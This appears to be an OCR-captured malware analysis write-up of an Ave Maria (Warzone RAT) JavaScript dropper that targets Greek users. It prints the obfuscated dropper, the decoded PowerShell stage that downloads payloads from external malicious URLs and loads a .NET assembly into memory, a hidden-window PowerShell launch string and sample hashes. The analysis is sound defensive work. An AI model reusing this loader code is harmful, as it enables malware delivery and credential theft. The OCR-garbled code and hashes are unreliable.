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Sample:

7ebdce51613a9214f61fa3983e9a2d19

BackgroundPermalink

Ave Maria, also known as Warzone RAT, is a remote access trojan that allows attackers full control over an
infected system. It is typically spread through phishing emails with malicious attachments, enabling features like

keylogging, credential theft, webcam access, and file exfiltration.

Static AnalysisPermalink

Database Entry

Intelligence ) 10Cs YARA @ File information Comments
SHA256 hash: 0 b5f2160141db10ada38e3fdbbadee72913b2020229f9da48911cd 114406759¢6
SHA3-384 hash: [ 260a2cf04d24414d98381ad3fh62a373e4bb878bc4bfe9h8078984d2c72a321f9basdfbedh7 3e8aedadcb5c65 71822370
SHA1 hash: 08fa775abb82cc5d84acd0al82196ea292dabbe8b
MDS5 hash: [0 7ebdce51613a9214f61fa3983e9a2d19
humanhash: @ lemon-cat-johnny-virginia
File name: EiSomoinon mhnpwpunc_79153 22331.JS
Download: download sample
Signature ®
File size: 1°574'055 bytes
First seen: 2025-05-13 08:16:56 UTC
Last seen: Never
File type: s

Figure 1: Malware Bazaar Entry

The sample was first uploaded from Greece and is most likely targeting organizations in that region. The file is

named “Eidomnoinon nAnpopng_79153 22331.JS”, which translates from Greek to “Payment Notice.”
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‘(function(70x1c6bfc,70x2d297b) {var _0x4822b9%= 0x5234, 0x21e750= 0xlcébfc() ;while(!![]) {try{var _0x28e287=parselnt(_0x4822b9(0x103)) /0x1* (parselnt ( ~
_0x4822b9 (0xcb)) /0x2) +parseInt (_0x4822b9 (0x13£)) /0x3* (parseInt (_0x4822b9(0x127))/0x4)+-parseInt (_0x4822b9(0x104)) /0x5* (parseInt (_0x4822b9 (0xfc))/0x6

) +-parseInt (_0x4822b% (0x10£)) /0 parseInt( 0x4822b% (0 c)) /0xE* (parseInt(_0x4822b9 24))/0x9) +parseInt (_0x4822b9 ( 2)) /0xza* (parseInt (_0x4822b9 (

0; )) /0xb) +-parseInt (_0x4822b9 (0xc2)) /0x £(_0x28e287=== 0x2d297b) break;else 0x21e750["push'](_0x21e750['shift']()) ;}eatch(_0x2facd4) {_0x21e750[
"push'] (_0x21e750["shift']1());}}}(_0x4778 b)) ;var _0x3bdb6l= 0x2d31;(function(_ 0x3cfb0b, 0x111d17) {var _0x550435= 0x5234, 0x478992= 0x2d31,
_Ox6b6fel=_0x3cf50b() ;while (1! []) {try{var _0x5a4625=-parseInt(_0x478992 (0xdc))/0x|+-parseInt (_0x478992 (0xc9))/0=2* (parseInt(_0x478992 ( ) /0x
parseInt(_0x478992 (0 ) /0x4+parseInt (_0x478992 (0xd8)) /0=5+parselnt (_0x478992 (0xd7))/0=6* (parseInt (_0x478992 (0xcd6))/0x7)+-parseInt (_0x478992 (0
0x8+-parseInt( 0x478992 ( )) /0x9% (-parseInt(_0x478992 ) ) /0xa) ;if (_0x5ad4625=== 0x111d17)break;else _Ox6b6fel[ 0x550435(0x134)] (_0x6b6fel[
_0x550435(0xcl)1()) r}ecatch( _0x5651£2){ Oxébéfel[ 0x550435(0x134)](_Oxeb6fel[ 0x550435(0xcl)]1());}}}(_0x5déb,0 17£)) ;var Biddy= 0x3b4b6l (0xc0
function 0x2d31(_0x410279, 0x385dc5){var _0x554555= 0x5d6b() jreturn 0x2d31=function(_0x4746ff, 0x561247){ 0x4746ff= 0x4746ff- 6;var _0x145568=
_0x554555[_0x4746ff] ;return 0x145568;}, 0x2d31(_0x410279, 0x385dc5) ;}function _0x5déb() {var _0x3eb8ac= 0x5234, 0x27afb4=[_0Ox3eb8ac(0x »_0x3eb8ac(

0 ) ,_0x3eb8ac (0 6) ,_0x3eb8ac (0ze4),_0x3ebBac (0xcl), 0x3eb8ac(0xd7),_0x3eb8ac(( 37) ,_0x3eb8ac (0x1 ,_0x3eb8ac(0x105) ,_0x3ebB8ac (0 ) ,_0Ox3ebBac(
)1;return _0x5d6b=function () {return _0x27afb4;}, 0x5déb() ;}function 0x2d02(_0x14c430, 0x51b275) {var _0xffa35= 0x9b92() ;return _0x2d02=function(
_0x3402ba,_ 0x4084d5) {_0x3402ba= 0x3402ba- ;jvar 0x2c928e= 0xffa35[ 0x3402bal ;return 0x2c928e;}, 0x2d02(_0x14c430, 0x51b275) ;}function 0x9b92() {

var _0x10349d= 0x5234, Ox5eecea=[_ 0x10349d ),_0x10349d (¢ ),_0x10349d (0 ,_0x10349d(0x130) ,_0x10349d 2b),_0x10349d(0x114) , 0x10349d (0xef),
_0x10349d (0 ) ,_0x10349d (0xe3) ,_0x10349d(0x122) , 0x10349d( d) ,_0x10349d (0= ];return 0x9b92=function(){return OxS5eeea;}, 0x9b92() ;}function
_0x4778() {var _0x3d7f07=['3454696ZaecdY','3191750huagae’, '632012FXTpHn",'1186208bBzUBV' ,

'\x27Lightsddf fffffffwonwwwwwwwwwwwwwwwwwwharecoveyLightsddffffffffwon harecoveyLight sddffff ffffwonwwwwwwwwwwwwwwwwwwharecoveyLightsd
Iff££ £ f fwonwwww wwwwwharecoveyLightsddfff fffffwonwwwwwwwwwwwwwwwwwwharecoveyLightsddffffffffwon harecoveyLightsddffffffffwon
WHWWWWWWWWWWWWWWWwharecoveyLight sddff£fff ffwon harecoveyLightsddfff fffffwonwwwwwwwwwwwwwwwwwwharecoveyLightsddffffffffwonn
wwwwwwharecoveyLight sddff f£££f fwon harecoveyLight sddf£E£££ £ fwon harecoveyLightsddf ££££ff fwonwwwwwwwwwwwwwwwwwwhareco
veyLightsddf £££f £ fwonwwwwwwwwwwwwwwwwwwharecoveyLight sddff f£££f fwon harecoveyLight sddf£E£££ffwon harecoveyLightsddf
fE£fFffwon harecoveyLightsddf ££££ Ff fwonwwwwwwwwwwwiwwwwwwwharecoveyLightsddfffEf£f fwon harecoveyLightsddffE££f ffwonww
W W WWwwwwwha recoveyLi ght sddf £££ £ £ fwon harecoveyLight sddf £££ £ Ff fuonwwWwwwwwwwwiwwwwwwwharecoveyLightsddff £ £ f £ f fuonwwWnwWwwWwwww
wwwwharecoveyLightsddff £ f £ FwonwwwwwwwwwwwwwwwwwiwharecoveyLightsddf fEf££f fwon harecoveyLightsddfff£f £ f FwonWWWWWWWWWWWWWWWWWWharecove
yLightsddfffffff fwonwwwww wwwwwwharecoveyLightsddffffffffwon harecoveyLightsddffffffffwon harecoveyLightsddfff
fffffwonw wharecoveyLightsddffffffffwon harecoveyLightsddffffffffwon harecovey\x20Lightsddffffffffwon
WWWWWWWWWWWWwwWwWwwwharecoveyLight sddff£fff ffwon harecoveyLightsddfff fffffwonwwwwwwwwwwwwwwwwwwharecoveyLightsddffffffffwon
wwwwwwharecoveyLightsddff fEf£f fwon harecoveyLightsddEfEf£££fwon harecoveyLightsddf ££fffffwonwWiWWWWWWWwWWwwwwwwhareco
veyLightsddf £ £ £ fwonwwwwwwwwwwiwwwwwwwwharecoveyLight sddf £ f££ £ fwon harecoveyLight sddf£E£££ffwon harecoveyLightsddf
fE£fFffwon harecoveyLightsddf ££££ Ff fwonwwwwwwwwwwwiwwwwwwwharecoveyLightsddfffEf£f fwon harecoveyLightsddffE££f ffwonww
W WWwwwwwha re coveyLi ght sddf £££ £ £ fwon harecoveyLight sddf £££ £ Ff fuonwwWwwwwwwwwiwwwwwwwharecoveyLightsddff £ £ f £ f fuonwwWnwWwwWwwww
wwwwharecoveylightsddff £ f £ f FwonwwwWwwwwwwwwwwwwwiwharecoveyLightsddf fEf££f fwon harecoveyLightsddf £ f£f £ f FwonWWWWWWWWWWWWWWWWWWharecove
yLightsddfEfFE£E Fwon harecoveyLightsddffffffffwon harecoveyLightsddf fEf££ffwon harecoveyLightsddfff v

JavaScript file

length: 1,574,055 _lines:: 1 Ln:1 Col:1 Pos:1 Windows (CRLF)  UTF-8 INS.

Figure 2: First Stage Code

It is a JavaScript file containing a single line of code with approximately 1.5 million characters—an obfuscation

technique designed to hinder analysis and evade detection. I noticed the string

“Lightsddffffffffwonwwwwwwwwwwwwwwwwwwharecovey” repeated throughout the script, likely serving as

junk

code for obfuscation. Based on that assumption, I decided to remove it to simplify analysis.

_Ox5eeea=[_0x10349d ), _0x10349d(0x115), 0x10349d(0x _0x10349d(0x130) ,_ 0x10349d(0x12b), 0x10349d(0x114), 0x10349d (( £),_0x10349d(0=1
) ,_0x10349d(0xe3), 0x10349d(0x122), 0x10349d(0x12d), 0x10349d(0x108)];return 0x9b92=function() {return _Ox5eeea;}, 0x9b92();}function _0x4778
() {var _0x3d7£07=['3454696Zaecdy’,'3191750huaqae’, '632012FXTpHn" , '1186208bBzUBV" , ' \x27\x20-replace\x20\x27\x27, \x27\x27; ', '3540spBguQ’ ,
'601398icrDEX", '1573784TbqdFqg’',"11301048KdvFRk', '27653520FVadR’, ' 4289088EiPQDV", 'push', '2395860fEmro"’, '10065RuovVDz "', ' 7InSeDr"', '510FwpveX"',
'join','979TnHVgp','4LvjJdkv','160pZivgB',"3046992fHOrcL’', 'replace', '3WBIC1Q"', '25247410bUSahT"','2cYBilW','1047148smkWv]j","shift’,
'12757824XPuiFd’', '18200960vxRmN", '9QgpOQH", '2605036V1cEkn’, ' 7fTZCkp', '11306kLidfk','9014Vvzktr', '581800sDZMnk','1017438PBCZbU", '4dghPUJ",
'610842DnpCSa’', '4548740TxiaEV', '607390gkBKPX" , '2334540xttusE"', 'Invoke-Expression\x20$deedless; ', '904980bypsbh','68054PTApuE',"19011311dvbvef"
,'3198587WgFpUU"’ , '29705meBhRg’ , ' 385AVRohd ',
" JGdhbmdidXN0ZXJzID0gJ3R4dC5xaml hdWhzZWgvbW9j LmFpZG5pcmE2LmZ LaWh j bGVubmEoYy8vOnNwdHERoJzskcGl jbGUg PSAnaHROCHM6Ly 9vbmZpbHRyZS5 jb20udHIVA3ALY2 9u
GVudC9naxBoeS5naWYnOyRtaWNyb2xpdGhzIDOgTmV3LU9iamVjdCBTeXN0OZWOuTmVOL1dlYkNsaWVudDskbWl jcm9saXRocySIZWFkZXJzLkFkzZCgnVXN1cilBz2VudCcsJd01lveml sb
IGEVNS4wJyk7JHRpcHVSYSA9ICRtaWNyb2xpdGhzLkRvd25sb2FkRGF0YSgkcGl jbGUpOyRhcmNoZW9sb2dpc3QgPSBbU31zdGVtL1R1eHQuURWS jb2RpbmddOjpVVEY4Lkd1dFNOcmluzy
kdGlwdWxhKTskY31iZXJzcGV1Y2ggPSAnPDxzdWRvX3BuZz4+JzskZG1lhbmR1ciA9ICc8PHN1ZGYfb2R0P)4nOyRiYW5S5pZSA9ICRhcmNoZWIsb2dpc3QuSW5kZXhP2igk¥31i2XJzcGV
[1Y2gpOyRzY29ybmZ1bCAITICRhcmNoZWIsb2dpc3QuSW5kzZXhPZigkZGlhbmR1cik7JGJhbml1ICInZSAwIClhbmQgJHNjb3JuZnVsIClndCAkYmFuaWU7JGJhbml1ICs9ICRjeWJlcnNw
ZWV 3 aC5MZW5ndGg7IGNydWl taWVyID0gJHNjb3JuZnVsICOgIGJIhbml 10yRtaWxsaWxpdHJI1cyA9ICRhenNoZWIsb2dpc3QuU3Vic3RyaW5SnKCRi YWSpZSwgIGNydWl taWVyKT skYX1vb
QgPSBbU31zdGVtLkNvbnZlcnRdOjpGemItQmFzZTYOU3RyaWdnKCRtaWxsaWxpdHJ1lcyk7JHNhd2hvenN1TIDOgWINSc3R1bS5SZWZsZWNOaWOuLkFzc2Vt Ymx5XTo6TGIhZCgk¥YX1vbm
POYRMYXZ1cm5hIDOgW2RubGliLk1PLkhvbWVdLkd1dE11dGhvZCgnVkFJJykuSW52b2t1KCRudWxsLCBbb2JgZWNOW11dIEA0JGdhbmdidXN0OZXJzLCcnLCcnLCcnLCASZWAT dmNzdyw
JywnJywnJywnJywnQzpcVXN1cnNcUHVibG1jJywnYWRkcmVzcycsJ2pzdywnIywnJywnZGl zcGxheWFibGUnLCcyJywnJykp ', '2284236BLrvii', '121380aNHZwp' ,
'7713288VEbVRn"', '5256072SkMPgG"' , '91pguldY', '1122268nYUrac"', '19302nNfalM', "251MkqyrF', '6CzGgen', '45r1UPhH','10fvATItd", '10aFdBJZ',
'1099893gbxMJF', "8YMZMnX' , '25842401qVEAF' , '3MyABVR', '2589588PxuOWN' , ' 6FkWojg', "powershell\x20-nop\x20-w\x20hidden\x20-c\x20\x22"',
'18602721JhYCe', "328450YEhumt ', "480333mgpayX"','12PHXezu"', '194064RJclYA", '48ftZVeq’','13430880yssCY"', '"Run',"8597817mgbfoF",'1401610pbYSi"’,
'723966BDrmfd"’, '2093UgpARX ", ' 783VQhQUE", '1803821kmWuVv", '1071320FgEdEy"' , '3jgsobE’','66avQROG', '9972gBwFoy',"215910dkFWnS", "450£frITjT", 'split"’,
'Sdeedless\x20=\x20[System.Text.Encoding] : :UTF8.GetString ([Convert] : :FromBase64String ($fructificative));', 'WScript.Shell', 'l5orfxur',
'85354KGUGHO' , '1670hLhUJY "', '3361565GikzWV", '19732721NDYqgp"’, '239226MBTjpd','573528JY00np "', '366rjpdwd','1773AeDhAg"', '3828112TmgXJP"', " 100dPkgIg’
,"1172108jhNgKV", '8329110n1cmOV’ , '11392584KDCuGq ", '43730xQGCYc", ' 81VHyqvg" , ' 9ZBJIQQQ' , '1396628UdceaZz’ , ' $fructificative\x20=\x20\x27",
'156314NCQrNi"', '5596720thGNkw"',"2199463JLJyjE"','110118JucWja’', '10SrQNv] "', "4630NQXmHm' ,'224608TtcYOU",'11280726mSyFjL', ' 150iWNSyn',
'27402837SPsTEH', '336120ezpaxy', '16etldif",'547080jWVJXV', "7yxpBhp','167mLOgTz", '325683zjwTWd", '104902CdsjrQ"',"'319KC1tAN", '6071016XFnoHa" ,
'149081PtbzCU"'] ;_0x4778=function() {return 0x3d7f07;};return 0x4778() ;}var _0x5d9f71= 0x2d02; (function(_ 0x2f3a9%b, 0x41881lc) {var _0x50bd49=
_0x5234, 0x313a3f= 0x2d02, OxeOldac= 0x2f3a9b() ;while(!![]) {try{var _0x87e708=-parselInt(_0x313a3f (0xcb))/0Oxl+-parseInt(_0x313a3f(0x=6))/0=2+
parseInt (_0x313a3f 4)) /0=3+parseInt (_0x313a3f (0 )) /0xz4+parseInt(_0x313a3£ (0 )) /0=5% (-parseInt (_0x313a3£(0 )) /0x6) +-parseInt (
_0x313a3£(0xe2))/0x7*(-parseInt(_0x313a3f 8))/0x8)+-parseInt(_0x313a3f(0xe5))/( * (-parseInt (_0x313a3f(0 ) /0za) ;if(_0x87e708===
_0x41881c)break;else 0xe0ldac[_0x50bd49 (0x134)] (_0OxeOldac[_0x50bd49(0xcl)]()) ;}ecatch(_0x57096e){_Oxelldac[ 0x50bd49(0x134)] (_O0xelOldacl

_0x50bd49 (0xc1) 1)) :}}}(_0x9b92,0 0c)) ;var ingeminated= 0x5d9f71 (0 ) +Biddy+ 0x5d9f71 (0xe3) ;function _0x5234(_0x3cc448, 0x3la37a){var
NvA477020= NvATTQIN cvatnrn  NvE234. notioanl Nv-E2240n  Nv3DhFeOVE NwB2248o= NvB22400=0he sxrav NvBadfhl= Nv477020F NvBE2240-1 craturn NvBadfhl ¥
JavaScript file length: 16,403 lines: 1 Ln:1 Col: 1035 Pos: 1035 Windows (CRLF)  UTF-8 INS

Figure 3: After Removing String

As shown in the figure above, the assumption proved correct—removing the junk string revealed a Base64-

encoded payload. Decoding the payload in CyberChef revealed PowerShell code, as shown in Figure 4.
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Recipe ~ B E  input +0O038 @ =
Gdhbnd1dXNeZXI21D0gI 3RAACS xamLhdlihz Zgvbi93 LmF pZGSpcnF 2LmZ1akih JzskcGlj Hit6L
Fiz s ~ o yOvbmZpbHRyZS553b20udHIvA3AtY29udGVudCInaXBoeSsnalYnOyRt ahNyb2xpdGhz IDOgTmV3LU iam] dCBTeXNOZWOUTmVOL L1 YkNsali
st VudDskbilljcmsaXRocySIZHFKZXIzLKFkZCgnVXNLci1BZ2VudCes]@lvenl sbGEVNS Audyk7 IHRp CHVSYSASICR: KRvd25
A-7a-70-94/= -~ sb2FKRGFOYSgkcG1ibGUpOyRhcmNoZli9sb2dpe3Qg! 1zdGVEL1RL j JPVVEYALKdLdFNOCmLuZygkdGLudxhKTsk
Y3117X2CGV1Y2ggP SANPDxzdWRVX3BuZ24+]25kZG1hbmR 11 AOTCCBPHIN1ZGS Fb2ROP 140y R1YNSpZSAIICR cmoZki9sb2dpc3QuSHSkZ
XhPZigkY31iZXJzcGVLY2gpOyRzY29ybmZ1bCASTCRcmNOZHO sb2dp c3QuSHSKZXhPZ1gkZGLhbmR 1c1k7 J6Ihbml1IC1InZSAWIChbmQgIH
Remove non-alphabet chars D Strict mode Njb3JuZnVsIC1ndCAKYmFuahU7IGIhbm11ICs9ICRIeWI lenhwZiVjaCSMZWSndGg7 IGNydW1 tallVy IDBgI HNjb3 JuZnVsICOgIGIhbml10yR

‘talixsalixpdH] 1cyA9 ICRhcmNoZW9sb2dpc3QuU3Vic3RyaWSnK CRiYWSpZ SwglGNydWltalWVyKTskYX1vbmQgPSBbU31zdGVtLkNvbnZ1cnRd
0jpGemItQmFzZTYBU3RyaWSnKCRtakixsalxpdHI1cyk7IHNhd2hvenN1ID@gWINSc3R1bS5SZWZSsZWNOaWI uLkFz c2VtYmxSXTo6TGIhZCgkY
X1vbmQpOyRMYXZ1cm5hID@gW2RubGlilk1PLkhvbWVdLkd1dE11dGhvZCgnVkF1JykuSW52b2t1KCRudkxsLCBbb2]qZWNOW11dIEA0IGdhbm
d1dXNOZXIzLCenLCenLCenLCdSZWAT dnlizIywnJywnIywnJywn JywnQzpcVXNLCnNCUHVibGLj Jywn YWRkemVzcy cs32pzywnJywnJywnZG1
zcGxheWFibGUnLCcy JywnJykp

.14 1 Q 122 Te R bytes 1 LF
Output B0Om:

$gangbusters = 'txt.qjmauhseh/moc.aidnirav.feihclennahc//:sptth';$picle = 'https://onfiltre.com.tr/up-
content/giphy.gif';$microliths = New-Object System.Net.WebClient;$microliths.Headers.Add( User-
Agent’, 'Mozilla/5.0");$tipula = $microliths.DownloadData($picle);$archeologist =

[System.Text .Encoding]: :UTF8.GetString($tipula);$cyberspeech = "<<sudo_png>>';$diander =
*<<sudo_odt>>";$banie = $archeologist.IndexOf(Scyberspeech);$scornful =

$archeologist.IndexOf($diander);$banie -ge @ -and $scornful -gt $banie;$banie +=
scyberspeech.Length;$crunmier = $scornful - $banie;$millilitres = $archeologist.Substring(Sbanie,

[$crummier);$ayond = [System.Convert]:: ring($millilitres);$: =
[System.Reflection.Assembly]::Load($ayond);$Laverna = [dnlib.I0.Home].GetMethod("VAI').Tnvoke ($null,
[object[]]

le(sgangbusters,”*,""," ", "RegSvcs ™, " ", ", "', ", C:\Users\Public', "address’,"js', ", ", "displayable’, 2", "))

Auto Bake
me 918 T

Q o1 @ a5 Tr Rou bytes € LF

Figure 4: CyberChef Decode

Decoding the payload in CyberChef revealed PowerShell code that performs the following actions:

Initializes URLs with a custom User-Agent
Downloads a fake gif and txt file from a remote server
Extracts hidden Base64 data between specific markers

Decodes and loads a .NET assembly directly into memory

Invokes a method from the loaded assembly using obfuscated parameters

®d o WN

$gangbusters = 'txt.gjmauhseh/moc.aldnirav.feihclennahc//:
$picle = 'https://onfiltre.com.tr/wp—content/giphy.gif';

$microliths = New-Object System.Net.WebClient;
$microliths.Headers .Add|( 'User—Agent','M
$tipula = $microliths.DownloadData ($picle) ;

$archeologist = [System.Text.Encoding]::UTF8.GetString($tipula) ;

$cyberspeech = '<<sudo png>>';
$diander = '<<sudo t>>";

$banie = $archeologist.IndexOf ($cyberspeech) ;

$scornful = $archeologist.IndexOf ($diander) ;

$banie -ge 0 -and $scornful -gt $banie;

$banie += $cyberspeech.Length;

$crummier = $scornful - $banie;

$millilitres = $archeologist.Substring($banie, $crummier) ;
$ayond = [System.Convert]::FromBase64String($millilitres) ;
$sawhorse = [System.Reflection.Assembly]: :Load($ayond) ;

$Laverna = [dnlib.I0.Home].GetMethod('VAT') .Invoke ($null, [object[]] @($gangbusters,'','',6'',6 'RegSvcs','','','','",

'C:\Users\Public','address','js','','"','displayable','2','"))

Figure 5: Cleaned Code

The first URL contained a long reversed Base64 string, while the second URL pointed to a GIF file, as shown in

Figures 6 and 7.

Page 3 of 12




https://Oxmrmagnezi.github.io/malware%20analysis/AveMaria/

3 C % channelchief.varindiacom/heshuamjq.ixt Q& 4 2
AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA
AAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA AAAAAAAAAAAAAAAAAAAA AAAAAAAA AAAA AR AAAAAAAAAAAAAAAAAAAA AAAAAA AAAAAAAAAAAAAAAAAQNIAHK / vPZDGI GAHKgXEF SUGZNU
mxvV5Kkf1j1LQNKDSI1ezvviYT/oCKFKID+ndU42YdpwA22IZ20vxH1elQpnw2TFdcOmBhByqInoKwYP1e8xF ImsMvit2mWGnO76uFernXeWoOhwGas 8E5NatirhjZzt1tVKWMYmRIG 16WI rv2WyG11MS8DCAAAAYAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA2 gFNOYDM2 gAAAAAEATAYAAAAY QI Ms ED+XAFM8GDtXAYMAFDZXAGMs ADKwQCMgADHWgBMUAD EwwAMI ADBAAAAGAQAADAAAED x4 AMO8 1Du4QLOWiDr4gK00gDMAWCOogDFAAXNKD43A7NseDe3Q3
NwdDb3g2NQcDDAAAASAQAECWOCUDM7Q508t De 7QHAAAAF AEAK AgDh4AT08hDe4QHOWhDb4gGOKhDY4wFOYhDV4AFOMhDS 4QEOARDP4gD08gDMAWC00gDI4ACO cgDGAQBOQgDDAgAOEgDA W /NAFDI3A /Ns D6 3Q+Ng FD33gONUFDO 3w
8NIfDx3A8N8eDu3Q7NweDr3géNkeDo3wSNYeD13A5NMeDi3Q4NAeDF3g3NOdDc3w2NodDZ3A2NcdDW3QINQAD T3 g8NE dDQ3wzN4 cDN3AzNs cDK3QyNg cDH3 gxNUcDE3wwNI cDB3AgN8bD+2QmNgBAAAQNABAHAWAGMKBDWWOEMHBDPW
IDMsATIwcBAAAAHAEAYAAAA/k/Pz/27/g+Ph/D3/c9PS/zv/07Px+2q/Q6PY+TA+QsPX6DK+A0P55zX+skPs4TD94ePP3jsOUZPNODCOMAP+zT+8QPPvzT48cNPNz zw8k LPvy Tp8kIP/xTe84GPkxTS80DP3wWDL8ICPHsD+71/03vT2
7470vuTq7050QuTd7Y20gtTU7c@0s sTH7 cx0I0j /6MuOUr]j z68r01qjm6ojOwoj I6wWh0SoDC54F0anzp5 cXOH1j64Q00qiDQakzN1 FD23MINaezk28pNQa]g28nNhYTEIwFNtXZ51wdN+WT rlcaNilizO18BNb Tz rzw7Mo0zRzozZM1ID
/yguMYLjiyMoMadzUyEKMZIZAxgfMIHDy XTI bMmGjDWgNAAEATAEAUASZ9/Y7Px+2¢/81Pk62X9UYPULDVOYUP102L 9YCPWz228UNPMz zw8gq0@pTV6Ik060TLE6KQON1DUSMUOME j/4c00bj 204cMOre jy 306NQe Tg302N1dDN3WXNXC
TA2UVN1YTG2UQNkXDY1ALNnTT@@IKNISjK@cBNRQTCzO/MpPD5249M70ztzE7MNOToz ISMMOT gz@1MUNTSZAGMEMZMzMyMalzDy ciMGEz xx s IMPDDxwoKMd CDcwgFMRBTEAAAAEDQAABWP6 /D8/ E9P++Do/U5Ph9jU/UxPO8zB+kvPV
73jz+UrPu6Tq+QqPf6 jm+4nP55jb+kmPg5 jW+M1Pg4jE90eP03zs9waP12j19cWPT1TT9gUPro TASIHP rxDZ8UFPkwDG78+0qvT37g90wuTf7I100ms TG6kvOzrj76EtOArDU6AN0G1Z27 50d0GND158YOFmZL5QA0/ j84000d] jk4cFO
783 L4kCOhCT2386NydTX3A1NIdDO3EZNK czG3YhNeb3x1kFNSW] T1kSNCQT9@QONRTZMBWCNVMD8Z k+MSPjmzQ5M5N Ky 8mMo I TXy g1MA I Ny sgME Ez-+xweMFH 2XAcMzGDgx EXMG F ZWxUVMVEDKX@RMUETBW4PMpDj 4wENMIDDuUweK
MdCj1wwIMFCJfwoFMRBTRWODM1ATLW4BAAEAQAEAMAB 8/ c+PU/Dw/s5P79Td/kePu8TI/QgP57D7+EuP@6DO+EOP 25 jX+M1PI5jN+ciPZ4DE9AaPT2jh9wTPbOTF 7Mz0Voz96grOXp TN6I i0Rkzv50C0Ij Tt4sK07gjN4kCOcgDDAY
WN/dTW2MmNIZDALIbNOWDY1YTNDQD4©8INNSDMEKCNFMj1zA6M2MzKz ThMIKDtyQMIKzdywmMUJzPxofMzHz 6xYeMQHzwxgbMmGznx EZMHGj cxUDMOD nwEIMHC] cwcFAAAAZAEATA8ZH+McP20194AP4ZTQ8IWNBFTs3k6NUeTi3
@3Nydja3I2NHYT22ksNkaT128nNSVD21gaNBWzF @UHNzMDwzwSMKOjNzgyMKI T4ygrMtK TgygnM3I THx4fMzHjwxgZMIF TaxQVM2E zLAAAAWBQAQAWP L+Dh /s 3P r9TU+cmPA@Z79Y cP82D090YP r1TZ90VPN1jR98APMz TVBAIPOXJR
8Az0rvz37s80rujd7U20gsjE7gg0jrjZ6810WpjRE6ch0QozBS5 cFODNTi5EYOX1jR5¢BO6jTO48102hz T4wwNnezY3wONAYT620tN8ajk2QnNeZzR203NqUz 71gbN5Qj q@kHNFRZUBWENSQzMOIwMePT1zE6MVOT ez41MYNDP2zgzMxMz
KzUyMNIz6yEuMLLTxy4rMAKTKyMSM1H 6 xMeMFHT2xQdMPH jy xMcM3G 2 x4VMZF zZUxoUMFF 5P xkDMXDTuwYKMHCDcwIGMKAAABAAABAAA /g+PX/ Jy /Y 7PT+je+wuP@5DR+EhPEBTSOMUPBBDIO cBPwy jq8k IPzxja7k /OxvDA7w80+u
Dr7Y60fuTm7oyOkszE64v0zrT35cCOyUj c1EWNbVTSIMKMXK] gywnM1Izby kmMk ITXyYIMQIjRywjMi IDHXYcMAHD txwaMVGTUXMBMZDz nwEIM5BDUwgCMhAz EwwAMDAAAAWIAAAPAAAWPS /T5/ cOPL/zt/@5PE+TU/kzPcdD++IsP1
6D1+QnPw0j89gdPI3Dc9IDP72D180208v 2] 6WuONqzn6UpOpkz35Ua011zUSOROQg54MzNme ZU30ONGC ZE 3¢ gN6bT6 2QUNPb Ju2EpN7ZDV2wiNvY jK2AiNaYDF 28gNKUT6 1MeNdXj11ANGXFv1IbNSWI11UXNWYIZ1oVNUVZTLIITN
RUDD1AAN5TJ 20sMNF TDVOMLNhSJ 104GNRRzHO0XMOPThzw2MMNzMzQhM6LD6Y IuMeLD2yws MF LDwyQrMpKT 1y 8oMKKJ fygnMuIDay@1MXIDTyYkM7 ITNyoiMk ITGyMhMIIjAxcfMxHz6xUeM8G]txwaMkGDmx4WMuAjywsHMhADEAAQ
AoAAAngP7ezr'9EZPMlDASMPPNzTM8QyO+vD87s+OmuT17820pr6 6wt0gqTX6UVOCmjj5QYOb1DI5sA0kiDj4M2Ndc zB2UVNHV j81gXNUUTI 1QRNHQ+@BONAT TroIKNBSzd@gGNbR jQBgDNbQTDeQuMyPD62s SMOPTuZA7MWODi 28

IV ~oa: e

AME T T2 ABMATI /s MaMs ol Pms sE M AMAETT v A7MY 22 b ACMART Cot sMM /BRRnaA AR AR A ARG @ /207 Dy s AT ALAT DAB=TOA~DENT 20 1 ID21.NT© ~MD. EDru.im £7 0 NAT A1 An e 7 A1

Figure 6: First URL - Reversed Base64 String

<« C 2% onfilre.com.tr/wp-content/giphy.gif +3 L 2

Figure 7: Second URL - GIF

Starting with the first URL, which was reversed, I used CyberChef to reverse and decode its Base64 content, as

shown in Figure 8.

Operations Recipe ~ OB E  nput
base 6 x Reverse -~
To Base62 e s s o o s
Character
E— ARRARAAA PZDGjGAHKE 13 1LQUKDSTLezvv YT/ oCKFKIDAnAU42Y dpuA22)220vxH1 e1Qpu2TFCOTBBYGIokuP13F
InsHyC2mHGnO7 6uFerneHOOGasBESNatir 122 CLEVKNINARA3 L6H 24y G LIMEDCARAAYAA gin

_ ) From Base64 ~ oV AEATAYAARAYQ]HS ED+XATHBGDXAYNAFDZ 1gAD) ADBAAAA Anng 1DU4QLOW1 Dr4gKOREDIACO0E
e (=== DF4AXMKFDA3 A7N5eDe3Q3NudDb3g2NQCDDAAAAS AQAZCHOCUDN7Q508 EDE7QHAARAFA h4ATOShDeA HDYAWFOY hD)

. 4gDOODNAWC 00gDIAACOCEDGAQBOQEDDAEAOEEDA3I/NAFDD3A /NS FD6IQH1IgFD3I 3gONUFDRUBNT FDXABNSe! SHYeD13A5MED13Q
e ==z (i e v i 4NADF3g3NOADC3H2NOADZ IA2N DIN3AZNS CDK3QyNgCDH3gXNUCDE 3unul A G

HBDPWIDHSAT TUCBAAARHAEAYAAAA/ k/P2/27/g+Ph/D3/ COPS/ 2v/07Px+2q/QEPY+TA+QSPXEDK+AOPS5 2X+skPSATDI4ePP3] SOUZ PNODCSHAP+ 2 T+8QPPVZ

Show Base64 off T48CNPNzZzU8KLPVy TpBKTP/XTe84GPkxTS8ODP3WDL8ICPHSD+71/ 0§V T27470v uTq7DSOQqu7VZOgtTU7c0055TH7(><OIU]/5'VuOUr] 268r01gjm60j0u0jI

[ strict mode 6uh0SODCE4f 0anzpSCXOH1 §64Q00q1D04k 2N 3E20nNhY TE LefNEX 25 TudN T L cali 10/yguny!
